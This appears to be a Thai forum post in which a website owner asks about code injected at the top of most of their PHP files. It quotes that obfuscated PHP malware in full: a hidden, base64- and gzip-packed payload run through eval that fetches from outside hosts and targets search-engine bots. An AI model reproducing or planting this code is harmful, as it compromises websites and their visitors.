เว็บผมติดอันดับ 1 google ตามคีย์ที่ทำมา แต่ไอ้โค้ดนี้มันมาไงครับ

โค๊ด:
<?php                                                                                                                                                                 /*versio:2.19*/$I111=0;if (!function_exists('QQO0Q0QO')){$GLOBALS['I111'] = '{Y3VybAX2luaXQYWxsb3dfdXJsX2ZvcGVuHQ)e^MQ)##QaHR0cDovLw=^sJndheT1maWxlX2dldF9jb250ZW50cwWX3NldG9wdATNX2V4ZWM$DFJndheT1jdXJs@wkLwva29ubW8ubmV0~ZcnllcGR4LmNvbQvccGhwYWlkZS5jb20dw!WV8k*QOg)ZGlzcGxheV9lcnJvcnM~zZGV0ZXJtaW5hdG9yj}nd3BfYWM$Mi4xOQGLRll4OGkyd2YwajhkMAgEYmFzZTY0X2RlY29kZQou)YmFzZTY0X2VuY29kZQgFSFRUUFMBb2Zmdcd;aHR0cHM6Ly8ZSFRUUF9IT1NU&IdW5pb24bc2VsZWN0UkVRVUVTVF9VUkksU0NSSVBUX05BTUU$VUVVFUllfU1RSSU5HPw(&L3RtcC8uZm9udC11bml4z$TL3RtcC8uSUNFLXVuaXg?VE1Q*VEVNUAmUOVE1QRElSL3RtcAXis%wudXBsb2FkX3RtcF9kaXIdG1w)^Zd3AtY29udGVudC91cGxvYWRzfd3AtY29udGVudC9jYWNoZQr@vLgTdmVyc2lv{B)zqLQWd}#=LXBocA.SFRUUF9FWEVDUEhQVpb3V0b2sGUeSFRUUF9VU0VSX0FHRU5UWbT}lLAEZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXg)L3BnLnBocD91PQ;QMJms9%JnQ9cGhwJnA9fgJnY9fcZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYyMXYya2dRL2lzYlZFVzI1UHAyd2Nad09aOUFMVzJRY2pnUVVxbEtrVVZoYWF3YU83TE5wVkdVLzM0enUydnZramk1TytWRDZjenN2TTh6NDJSSHJKTXQzeVVaMzFxZExhOTRzVSt5ZFpVWEhkdCtKTHREdHFtU1BDTW1KOTd4ZkdlOW0wY1JqYWhEVHQvTjV4R2xjeEtTMmZYRmhVMGVpYWJzazAyUlY4bWVXMVZ4NFBZWktYaDFLREppcWdEcWs3YjBnMWU3Sk9YV3UybWFUdG5VQVdYUm5FWnpHOVZHRVNnR3RhaC9UdWVSeFJ6U2gvZGdFRVRRb0pKeEc0bkFJUUZJakpJc2lVdGVXZnFwNTVBdXRSM0NnSjFBSG9USWp4WVJtNFNHeWQ0UWlMWUljOHBZbXFiaENCM0dsL0VtenlxZVZhVlc0ZmxnZ05yRUpTb2cvQ1VqY3JWT2YrQ1FIaGhxOHFOVVkyWjRXbkowcjg1UXpIOGxKWmhRTWRzaU1hQ0ZSaEQrU0ZFdGtSUWt0aVpsTUJSZW9ZeWd0TWt3eWxUcWxDSkxtWEhJaCt2RlJYUzVqT0VmaC96UFVCa0R0YXhydjZuNGZETCtPRms0dXpYRS9xYmdZcks4WHN5V2kvSHM2aE04VUUzMnV2eUhhRGFiZkZndXAzOU5vdXVsUTN5Wkp3aWR5dXdKTCt0M3FHcHpLTko0aytZbE42aFlENzYvcXg0czlSaXFvTlhvV0x1UUVranpVMU5XS1ZPWGxjaWVwcUtuUjdzeTMvek03M2ltZTM5QUhURk1FY2FBNXVsOExwMUdEK3I1a1dyQVlOUm1uQnpQSjRTMHV6dUkvbEVEM1BrOFdaSkhWYW1uMC92MVE0aWU4SXFjTDVlWHZ6R1hmaXUrWmVkNVdmME9ZdEsxSnlSMVVQa1UrelFGNVpmbmwzRjBaZlJQdDQrRDRpTDl5MlJ4TlkxbUxiYXZTMTY4SC8rQW9SSEtoVEtodkRad2Y0dG9jUElHQUtuNGJISjZTcXhuZ0VQZWEvWWY0STNPbElzWmg1azFuR0hkZ2NDaTBhNnVkNDFQTXZWWUpmN3JMczIzM09vMFBqcTFTcEE3WkFneFN2cUdydlJBSi91MmQwSk8yTVEvMlY5b1pWd1U2d2NEaDdwRE1UUEdzREd2QnlUdmlPU2psSStUMWFEcGZaRlVNaEFRY3FCNDA1UXh5SUpzSDRwUUFmQWxtMDRKYVgyQko1QU94RWU3V3BGNDBpZzZNM0lsT0NxV3huNStxS0RnME5CUVdSeDhIQUJNNlNQaG05dmM4RDBBbk83WnJoSTB1bWpRRTEya0hyb2lmeDFScFplSVBvQ09ZME5idHIzY2FwcmJwV0NDOVJYZ0k4QkNzNFdhamUwYU5KQklEVTdQYTdZTUZzamdlRjNRTnFqSGdER0QxVGRZMDJOTEdKSmlpV0VLbjBPb0hPK2tGTTBVWDAwV01EODNlZ0hSSG5xNnNsVWRSNitMa0JOemNXRUJQTEV2bnR2dE1Xd2RwcXFuMkc1WVZrV1ZwL2s5TDFxTjlDU1NZNWZ2OG9Ldk43ZlFWREdpeWJva3FwTGhuN3JrNkN5b3ZNdExTeEYxcy9VdzlBQ2JUV2k0VWM5WFlRdVkxaHZ4VlYwK1JELzRiN3Fld0N2cjVOVlU5NWtZcVpYYzk2L3p4Zko0eWNhdVJqWVd0RFdGUTAvMDVPcmYxTHRHSFQxR2NTUmd1NzZsVVpheW5uUG8zTEF1YTl1ckprNEZrTkRsby8zV3J6ZVJxNGJDVlNDdkprRzBNQXpTTkEyM1NaR3RBWFhqK05QMFloTEh0dnR4dW9CTkd5MitnclhMOFdJTVArV2N3TncxRUdkR1ZkOWptdFFMMUR5M3VPejVBWGJ6cXAySjA5ZFh6TW5zeXl2UGpqa0J3NjVwNHpUYURPRWhraHp5OG1qMGhreDREVXlWSEkxbVBwYk9hK2VBWDkxMkZxSk1GOUgvYU5CVUpzV29wWWcrYXNKTzFHR2lpSExjOGFjYnRwWkVucjVsakFpLy9pNHZiLzFTK0lMbm9TU2VrZTlnLzJlenNhcjlYZmpTNFg2Z01GdDAwdGt6bE9yZ1dSRi9qY2ZYeS9QT0tneVZXTDBUYW9RZnFkMmgxUVlVQytUVUNHMFlySmVFQkhXRE1hUllwdVpld3JhbG9RTHJ0b0gwaDRFYVNOeDYvTzkxV3I4Q0hXKzcxMmUrcksxQkdlSlNFNmdLUjN0bHlWVmZKMXgrNWtBR2hhMHFQMnh1NVgvRjE4b21QV3g1bkdjYlhoTWw4T0dBeW5rZXdXWEtzdzFlRllxa2pqMTUwSS9lUnU4K1FpRE0yeEY2MTllTmx2SUYxcGhCSWJqNmNHV0l6aE13TUgrTzdjSUZwK0dlaE9FbmNjbXJmV1dFS3ZGR2ZhYm9ielk2Rk1lTnErSXl2dVp3UzN0TmF4a010WXhlOWtEZytmb0pwZUxlQjYxNEt6ZmZtdkx3Z29OTmYyNmVQU3ZKMDNIbnc5OC80RWdXY2c9PSIpKSk7uJCcHJlZ19yZXBsYWNlNMU';function QQO0Q0QO($a, $b){$c=$GLOBALS['I111']; $d=pack('H*','62617'.'36536345f6465636f6465'); return $d(substr($c, $a, $b));};$II11IlIlI = QQO0Q0QO(3370, 16);$II11IlIlI("/Il11IlIII/e", QQO0Q0QO(751, 2616), "Il11IlIII");};?>
กำลังไล่ลบครับ มันคืออะไรครับ ติดไว้ บนสุด ไฟล์ php ที่สำคัญๆ เกือบบทุกไฟล์เลยครับ wanwan010